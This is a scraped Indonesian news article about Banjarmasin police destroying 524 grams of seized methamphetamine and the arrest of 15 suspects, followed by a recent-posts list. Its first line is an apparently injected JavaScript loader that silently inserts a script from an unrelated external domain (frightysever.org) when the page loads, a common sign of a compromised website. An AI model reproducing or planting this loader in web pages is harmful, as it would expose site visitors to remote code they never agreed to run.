(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Sabu 524 Gram Dimusnahkan, Tangkapan Dua Bulan Polresta Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Satuan Reserse Narkoba (Satresnarkoba) Polresta Banjarmasin musnahkan barang bukti narkoba hasil pengungkapan kasus selama dua bulan terakhir, Kamis (29/2/2024) siang.

Sebanyak 524,37 gram sabu dilarutkan ke cairan pembersih untuk kemudian dibuang ke tempat yang aman.

Proses pemusnahan berlangsung di lobi Satresnarkoba Polresta Banjarmasin diperlihatkan langsung kepada para tersangka yang dihadirkan saat pemusnahan.

Baca juga: Lagi Cari Kangkung, Yusuf Bergegas Pulang Dapati Rumahnya Terbakar

Kapolresta Banjarmasin, Kombes Pol Sabana Atmojo melalui Kasatnarkoba Kompol R Prawan Putra Bala Dewa mengungkapkan, barang bukti sabu yang dimusnahkan merupakan hasil pengungkapan sepanjang Januari hingga Februari 2024.

Selama dua bulan terakhir ini pihaknya berhasil menangkap 15 tersangka dari 12 laporan polisi. Beserta barang bukti lebih setengah kilogram sabu.

“Yang kami musnahkan barang bukti sabu seberat 524,37 gram. Itu hasil pengungkapan kasus narkoba yang ditangani Satresnarkoba bersama jajaran Polsek,” kata Kompol Prawira.

Baca juga: Petugas Ketertiban TPS Meninggal Dunia, KPU Banjarbaru Proses Pengajuan Santunan

Masih lanjut Kasat Resnarkoba, barang bukti sabu yang dimusnahkan jika dinilai dengan uang mencapai Rp786 juta.

Hasil pengungkapan kasus narkoba dan pemusnahan barang bukti tersebut, Polresta Banjarmasin telah berhasil menyelamatkan sedikitnya 7.866 jiwa dari bahya penyalahgunaan narkotika.

Sementara para tersangka dijerat dengan pasal 114 ayat 2 jo pasal 112 ayat 2 jo Pasal 132 ayat 1 Undang-Undang RI Nomor 35 Tahun 2009 tentang Narkotika.

Baca juga: Produk Kriya Rotan Merah HSU Menarik Hati Pengunjung INACRAFT 2024

Pihaknya kata Kompol Prawira terus berkomitmen mengungkap peredaran narkoba di wilayah hukum Polresta Banjarmasin.

Dirinya mengharapkan peran aktif masyarakat untuk membantu polisi dalam memberikan informasi ataupun melaporkan terkait penyalahgunaan atau peredaran narkotika.

Baca juga: Musdesus Palingkau Sejahtera Tetapkan Warga Penerima BLT Dana Desa 2024

“Keberhasilan pengungkapan kasus selama ini juga tidak terlepas dari bantuan dan dukungan masyarakat,” pungkasnya.(Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

2 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

4 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

5 jam ago

Sekda Banjar Wakili Bupati di Rapat Paripurna Bahas Raperda Tentang Penanaman Modal

KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More

7 jam ago

Antisipasi Bencana, Ini Pesan Gubenur Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More

7 jam ago

Siap Tarung di Pilkada Kapuas, Mantan Wagub Kalteng Habib Ismail Lamar Nasdem

KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More

8 jam ago

This website uses cookies.